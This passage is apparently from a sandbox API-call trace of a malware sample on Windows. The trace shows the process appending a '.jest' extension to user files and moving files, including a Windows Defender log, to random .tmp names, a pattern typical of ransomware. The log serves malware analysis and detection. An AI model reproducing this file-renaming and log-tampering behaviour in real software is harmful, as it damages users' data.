lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.480] VarBstrFromR4 (in: fltIn=0x47944629, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.32") returned 0x0 [0128.500] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.500] CoFreeUnusedLibraries () [0128.500] GetTickCount () returned 0x11528d5 [0128.500] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.500] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.500] GetTickCount () returned 0x11528d5 [0128.501] IsWindowVisible (hWnd=0x30268) returned 0 [0128.501] Sleep (dwMilliseconds=0x0) [0128.506] GetFullPathNameA (in: lpFileName="76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp", lpFilePart=0x18e708*="76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp") returned 0x8c [0128.506] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log", lpFilePart=0x18e708*="MPLog-07132009-221054.log") returned 0x4b [0128.507] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\76wqcwgpt2n9kafzsog94frd4feqbyeflpbrt39mumtuuo iqxkgnmoz9hykhpllkyhtsstumw-zxcokjrqseshdzl6lhbt3px.tmp")) returned 0 [0128.508] GetLastError () returned 0x20 [0128.508] GetLastError () returned 0x20 [0128.508] SetLastError (dwErrCode=0x20) [0128.508] GetLastError () returned 0x20 [0128.508] SetLastError (dwErrCode=0x20) [0128.508] GetLastError () returned 0x20 [0128.508] SetLastError (dwErrCode=0x20) [0128.508] GetFullPathNameA (in: lpFileName="76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp", lpFilePart=0x18e6e4*="76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp") returned 0x8c [0128.508] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\76wqcWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x71773637, cFileName="cWgpt2n9KAFzSoG94fRd4FEQbyeflpBrt39mumtUuO IqXkgnMoZ9HYKhpLlKYhTsSTuMW-zxCOkjrQsEsHDZl6LhBT3pX.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.508] GetLastError () returned 0x2 [0128.508] GetLastError () returned 0x2 [0128.508] SetLastError (dwErrCode=0x2) [0128.521] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.521] CoFreeUnusedLibraries () [0128.522] GetTickCount () returned 0x11528f5 [0128.522] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.522] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.522] GetTickCount () returned 0x11528f5 [0128.522] IsWindowVisible (hWnd=0x30268) returned 0 [0128.522] Sleep (dwMilliseconds=0x0) [0128.523] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.jest")) returned 1 [0128.525] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpFilePart=0x18e6d8*="Orange Circles.htm") returned 0x60 [0128.525] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.525] GetLastError () returned 0x2 [0128.526] VarBstrFromR4 (in: fltIn=0x4794462f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.37") returned 0x0 [0128.526] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.526] CoFreeUnusedLibraries () [0128.526] GetTickCount () returned 0x11528f5 [0128.526] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.526] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.526] GetTickCount () returned 0x11528f5 [0128.526] IsWindowVisible (hWnd=0x30268) returned 0 [0128.526] Sleep (dwMilliseconds=0x0) [0128.527] GetFullPathNameA (in: lpFileName="ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp", lpFilePart=0x18e708*="ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp") returned 0x8e [0128.527] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpFilePart=0x18e708*="Orange Circles.htm") returned 0x60 [0128.528] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ijtth2lsb333a20byvhp0_jz1zjsog yde3bo1h9uwcsufj2z0hy3c2cx0djtoiyo-dh5u74ttvuvzlcq9fbr4yts1y4fzkxu928.tmp")) returned 0 [0128.528] GetLastError () returned 0x2 [0128.528] GetLastError () returned 0x2 [0128.528] SetLastError (dwErrCode=0x2) [0128.528] GetLastError () returned 0x2 [0128.528] SetLastError (dwErrCode=0x2) [0128.528] GetLastError () returned 0x2 [0128.528] SetLastError (dwErrCode=0x2) [0128.528] GetFullPathNameA (in: lpFileName="ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp", lpFilePart=0x18e6e4*="ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp") returned 0x8e [0128.528] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ijTth2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x74546a69, cFileName="h2lSB333a20byvhp0_Jz1zJsOG yDE3bo1H9UwCsufj2Z0hY3c2CX0DjToIyO-dH5U74TtvuvZLcQ9fbr4ytS1y4FZkXu928.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.529] GetLastError () returned 0x2 [0128.529] GetLastError () returned 0x2 [0128.529] SetLastError (dwErrCode=0x2) [0128.531] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.531] CoFreeUnusedLibraries () [0128.531] GetTickCount () returned 0x11528f5 [0128.531] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.531] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.531] GetTickCount () returned 0x11528f5 [0128.531] IsWindowVisible (hWnd=0x30268) returned 0 [0128.531] Sleep (dwMilliseconds=0x0) [0128.533] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.jest")) returned 1 [0128.534] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpFilePart=0x18e6d8*="WMSDKNS.XML") returned 0x54 [0128.534] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.534] GetLastError () returned 0x2 [0128.535] VarBstrFromR4 (in: fltIn=0x4794462f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.37") returned 0x0 [0128.535] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.535] CoFreeUnusedLibraries () [0128.535] GetTickCount () returned 0x11528f5 [0128.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.535] GetTickCount () returned 0x11528f5 [0128.535] IsWindowVisible (hWnd=0x30268) returned 0 [0128.535] Sleep (dwMilliseconds=0x0) [0128.536] GetFullPathNameA (in: lpFileName="CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp", lpFilePart=0x18e708*="CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp") returned 0x8f [0128.536] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpFilePart=0x18e708*="WMSDKNS.XML") returned 0x54 [0128.537] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cpcyvkwf60flzbhmjpedx0qcctqzt30bfuvxec4r4inu7usul8hqzj-faj04n2c5yzvsokhk_ tyfyvmi4htcfurpey6qg5xqe9fn.tmp")) returned 0 [0128.537] GetLastError () returned 0x2 [0128.537] GetLastError () returned 0x2 [0128.537] SetLastError (dwErrCode=0x2) [0128.537] GetLastError () returned 0x2 [0128.537] SetLastError (dwErrCode=0x2) [0128.537] GetLastError () returned 0x2 [0128.537] SetLastError (dwErrCode=0x2) [0128.537] GetFullPathNameA (in: lpFileName="CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp", lpFilePart=0x18e6e4*="CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp") returned 0x8f [0128.537] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CpcYvKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x59637043, cFileName="vKwF60fLzbhmJpEDX0qccTqzt30bFuVXEc4r4iNu7USUL8hqZj-FAJ04n2c5yZVSOKHK_ TyfYvmi4htcfUrpeY6Qg5XQE9FN.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.538] GetLastError () returned 0x2 [0128.538] GetLastError () returned 0x2 [0128.538] SetLastError (dwErrCode=0x2) [0128.539] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.539] CoFreeUnusedLibraries () [0128.539] GetTickCount () returned 0x1152904 [0128.539] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.539] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.539] GetTickCount () returned 0x1152904 [0128.539] IsWindowVisible (hWnd=0x30268) returned 0 [0128.539] Sleep (dwMilliseconds=0x0) [0128.540] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.jest")) returned 1 [0128.541] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpFilePart=0x18e6d8*="Stars.jpg") returned 0x57 [0128.541] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.541] GetLastError () returned 0x2 [0128.541] VarBstrFromR4 (in: fltIn=0x47944631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.38") returned 0x0 [0128.542] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.542] CoFreeUnusedLibraries () [0128.542] GetTickCount () returned 0x1152904 [0128.542] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.542] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.542] GetTickCount () returned 0x1152904 [0128.542] IsWindowVisible (hWnd=0x30268) returned 0 [0128.542] Sleep (dwMilliseconds=0x0) [0128.542] GetFullPathNameA (in: lpFileName="lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp", lpFilePart=0x18e708*="lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp") returned 0x8c [0128.542] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpFilePart=0x18e708*="Stars.jpg") returned 0x57 [0128.543] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lp4kg-fgkom_3xkh-f3ag6scwz56fpizutr7kjfbd0c2ko0woha k6qzkmeskc4vm65ezbqtz5m7e0mmbseqmbnrcj8zcutknv.tmp")) returned 0 [0128.543] GetLastError () returned 0x2 [0128.543] GetLastError () returned 0x2 [0128.543] SetLastError (dwErrCode=0x2) [0128.543] GetLastError () returned 0x2 [0128.543] SetLastError (dwErrCode=0x2) [0128.543] GetLastError () returned 0x2 [0128.543] SetLastError (dwErrCode=0x2) [0128.543] GetFullPathNameA (in: lpFileName="lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp", lpFilePart=0x18e6e4*="lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp") returned 0x8c [0128.543] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lp4KG-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b34706c, cFileName="G-FgKOm_3xKh-F3aG6scwz56FpiZuTr7kJFBD0c2kO0wOhA k6QZkMeSKC4VM65eZBQtz5m7E0MMbSEqMBNrcJ8zcUTknv.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.543] GetLastError () returned 0x2 [0128.543] GetLastError () returned 0x2 [0128.543] SetLastError (dwErrCode=0x2) [0128.544] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.544] CoFreeUnusedLibraries () [0128.544] GetTickCount () returned 0x1152904 [0128.544] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) 